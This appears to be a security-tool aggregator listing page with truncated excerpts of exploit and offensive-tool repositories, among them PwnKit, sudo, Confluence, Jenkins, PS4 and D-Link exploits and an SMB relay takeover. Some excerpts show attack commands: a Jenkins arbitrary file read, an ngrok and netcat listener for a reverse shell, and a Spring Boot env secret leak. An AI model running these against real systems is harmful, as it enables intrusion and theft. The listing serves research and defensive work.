mariadb-13-rce-lab

MariaDB 13.0.1-rc RCE Lab Remote code execution on the unmodified, stock MariaDB 13.0.1-rc Docker image as uid 999 mysql. Two exploit variants: Variant| File| Requirements| Notes ---|---|---|--- Pure SQL recommended| exploitpuresql.py| a low-priv MariaDB account + TCP| no host access, no docker, ...

smbtakeover

smbtakeover 一种在 Windows 上解除绑定并重新绑定 445/tcp 的技术，无需加载驱动程序、无需向 LSASS 加载模块，也无需重启目标机器。实现该技术是为了减轻在 C2 操作过程中基于 SMB 的 NTLM 中继负担。该技术的技术分析在 x33fcon 上的演讲 Relay Your Heart Away: An OPSEC Concious Approach to 445 Takeover 中有更详细的讨论。 PoC 以 Python 和 BOF 两种格式编写。两者在针对远程机器时都使用基于 TCP 的 RPC（ncacniptcp）作为传输方式。 操作使用说明...

blackbox-fuzzing

Blackbox-Fuzzing of IoT Devices Using the Router TL-WR902AC as Example This is the HTML version of my term paper which can be downloaded as PDF here. Introduction Fuzzing has become "one of the most effective ways" of finding bugs in software. With this or similar claims, many current...

experiments

Experiments Repository of various experiments / PoC. debugging-secure-kernel: PoC gdb debugging the Windows 10 secure kernel, on top of QEMU KVM dns: Experiments regarding DNS / Certificate transparency / Homoglyphs Attack Surface Reduction: Demystifying Windows Attack Surface Reduction internals...

aeota

aeota AEA OTA/IPSW decryption Prerequisites getkey.py Python 3.10+ might work with older, but not tested requests pyhpke aastuff macOS 13+ macOS 14+ for HPKE support aastuffstandalone macOS 12+ macOS 14+ for HPKE support Building and Installing getkey.py root@kitploit: pip3 install -r...

WHS4_CVE-2021-4034

CVE-2021-4034 PwnKit - Local Privilege Escalation PoC 🔗 Original Project : berdav/CVE-2021-4034 This project is an educational analysis and modification based on the original. MIT License Compliant | White Hat School Training Task 📋 Overview CVE-2021-4034 is a local privilege escalation...

CVE-Wazuh

Wazuh Manager — Inyección NDJSON en inventorysync mediante DataValue.index controlado por el agente - Borrador Un agente registrado puede introducir operaciones bulk arbitrarias de OpenSearch mediante DataValue.index. GHSA-ff9g-85jq-r3g3 ⚡ Uso Rápido Usa este proyecto solo en entornos seguros y...

standalone_tdo

TDO 独立提取器 一款功能强大的独立命令行工具，利用具有高级结构化输出能力的大语言模型从文档中提取网络威胁情报（CTI）。 🚀 功能特性 多格式文档支持 ：PDF、DOCX、TXT 和 Markdown 文件 高级 LLM 集成 ：Google Gemini 模型，具备结构化输出和自动回退解析能力 全面的 CTI 模式 ：12 种实体类型和 24 种关系类型，附带丰富属性 检测机会生成 ：创建可操作、有证据支持的网络威胁检测规则 攻击流合成 ：生成基于证据的 MITRE ATT&CK 流程图 结构化输出可靠性 ：Pydantic 模式，100% JSON 解析成功率 并行处理...

PPPwn

PPPwn - PlayStation 4 PPPoE RCE PPPwn is a kernel remote code execution exploit for PlayStation 4 up to FW 11.00. This is a proof-of-concept exploit for CVE-2006-4304 that was reported responsibly to PlayStation. Supported versions are: FW 7.00 / 7.01 / 7.02 FW 7.50 / 7.51 / 7.55 FW 8.00 / 8.01 /...

dlink

D-Link NAS 设备中的命令注入和后门账户 漏洞概述： 该漏洞影响多款 D-Link NAS 设备，包括 DNS-340L、DNS-320L、DNS-327L 和 DNS-325 等型号。漏洞位于 nassharing.cgi URI 中，主要由两个问题导致：一个由硬编码凭据促成的后门，以及一个通过 system 参数触发的命令注入漏洞。这种利用可能导致在受影响的 D-Link NAS 设备上执行任意命令，攻击者通过指定命令即可获取敏感信息、修改系统配置或造成拒绝服务，影响互联网上超过 92,000 台设备。 对应的 CWE CWE-77（命令注入）和...

Sudo-Privilege-Escalation-Linux-CVE-2025-32463-and-CVE-2025-32462

⚠️ CVE‑2025‑32463 & CVE‑2025‑32462 – Sudo Privilege Escalation Flaws in Linux 🧠 TL;DR In July 2025, two newly disclosed vulnerabilities in the sudo utility—CVE-2025-32463 and CVE-2025-32462 —have put numerous Linux distributions at risk. The more severe of the two, CVE‑2025‑32463 , carries a CVSS...

pwn_jenkins

Remote Code Execution Jenkins CLI arbitrary read CVE-2024-23897 applies to versions below 2.442 and LTS 2.426.3 Jenkins Advisory, Credits Authenticated, can retrieve a complete file: root@kitploit: java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 realworld poc Usage Download bun https://github.com/oven-sh/bun/releases Start ngrok root@kitploit: ngrok tcp 4444 Listen localhost 4444 root@kitploit: nc -nvlp 4444 Run exploit root@kitploit: bun exploit-CVE-2023-22527.js --lhost...

WindowsProtocolTestSuites v4.26.9.0

Windows Protocol Test Suites Windows Protocol Test Suites provide interoperability testing against the implementation of Windows open specifications including File Services, Identity Management, Remote Desktop and etc. Originally developed for in-house testing of the Microsoft Open Specifications...

hi_my_name_is_keyboard

Hola, me llamo Keyboard Este repositorio contiene scripts de prueba de concepto para CVE-2023-45866, CVE-2024-21306 y CVE-2024-0230. Puedes encontrar más detalles en la publicación del blog. Prueba de concepto| Descripción ---|--- Inyección de teclado en Android| Fuerza el emparejamiento de un...

pdbdownload

An utility to download PDB files associated with a Portable Executable PE. Features Download PDB symbols from msdl.microsoft.com. Process a single or a batch of PortableExecutable PE files. Demonstration https://github.com/user-attachments/assets/095fb528-65a6-488e-bfa0-46101738a451 Usage...

ffufw

ffufw ffuf with that special sauce Install root@kitploit: go install github.com/puzzlepeaches/ffufw@latest Why? ffufw is a wrapper around ffuf to make directory bruteforcing easier and more intelligent. The tool has the following features: Multithreaded execution of ffuf commands for a list of UR...

kontext-cli v1.3.0

Website | Documentation | Dashboard | Discord Kontext is an authorization platform for AI agents. It helps teams control what agents can access and do with scoped credentials, policy enforcement, approvals, and audit trails. Kontext can run local-first for developer agents and extend to managed o...

how-to-bypass-aslr-on-linux-x86_64

在 Linux x86-64 上绕过 64 位 ASLR 在这篇文章中，我将讨论 Samuel Groß 在他的 Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass 中描述的技术在 Linux x8664 上绕过 ASLR 的应用。 为了展示这一点，我将解决来自 Buckeye CTF 的一个 pwnable 挑战，即 guessgod。 我会尽量让内容对初学者友好，如果你觉得自己已经足够自信，或者只想直接看漏洞利用，可以随意跳过任何部分。 0. 引言...

SpringBoot_Actuator_RCE

swagger-ui 接口 /swagger-ui.html SpringBoot env 获取 敏感信息 一 当我们直接访问 springboot 站点时,可以看到某些 password 字段填充了 1. 通过$name 可以获取明文字段 2. 配置不当导致敏感信息泄露password 打星号,而 pwd 没有打星号 参考 https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA 具体实现过程: 例如: 我们要获取 pid 参数值 root@kitploit: "PID": "10648", root@kitploit: POST /env...